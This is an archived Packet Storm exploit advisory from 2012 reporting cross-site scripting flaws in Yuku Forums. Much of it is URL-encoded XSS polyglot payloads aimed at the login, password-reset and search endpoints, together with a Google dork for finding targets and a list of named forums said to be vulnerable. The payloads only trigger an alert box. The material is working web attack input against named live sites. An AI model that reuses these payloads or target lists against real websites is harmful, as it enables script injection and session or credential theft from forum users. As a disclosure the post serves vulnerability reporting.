Yuku Forums Cross Site Scripting

2012-01-24T00:00:00
ID PACKETSTORM:109024
Type packetstorm
Reporter Sony
Modified 2012-01-24T00:00:00

Description

                                        
                                            `# Exploit Title: Yuku Forums Cross Site Scripting  
# Date: 24.01.2012  
# Author: Sony  
# Software Link: http://www.yuku.com/  
# Google Dorks: inurl:.yuku.com intext:forum  
# Web Browser : Mozilla Firefox  
# Blog : http://st2tea.blogspot.com  
# PoC:  
http://st2tea.blogspot.com/2012/01/yuku-forums-cross-site-scripting.html  
..................................................................  
  
Well, we have xss in the login page:  
  
http://www.yuku.com/login/loginnow  
  
POST /login/view/  
login=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&password=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E  
  
And in the reset password:  
  
http://www.yuku.com/portal/resetpass  
  
POST /login/resetpassword  
name=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E  
  
Also in the search:  
  
http://find.yuku.com/?q=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&sa=Go  
  
We can see xss in the another yuku forums:  
  
http://biddingfortravel.yuku.com/  
http://britishmilitariaforums.yuku.com/  
http://survivorsucks.yuku.com/  
etc..  
  
in the search friend xss, etc..  
  
Demo Video:  
  
http://www.youtube.com/watch?v=1itP1hvoHMw  
`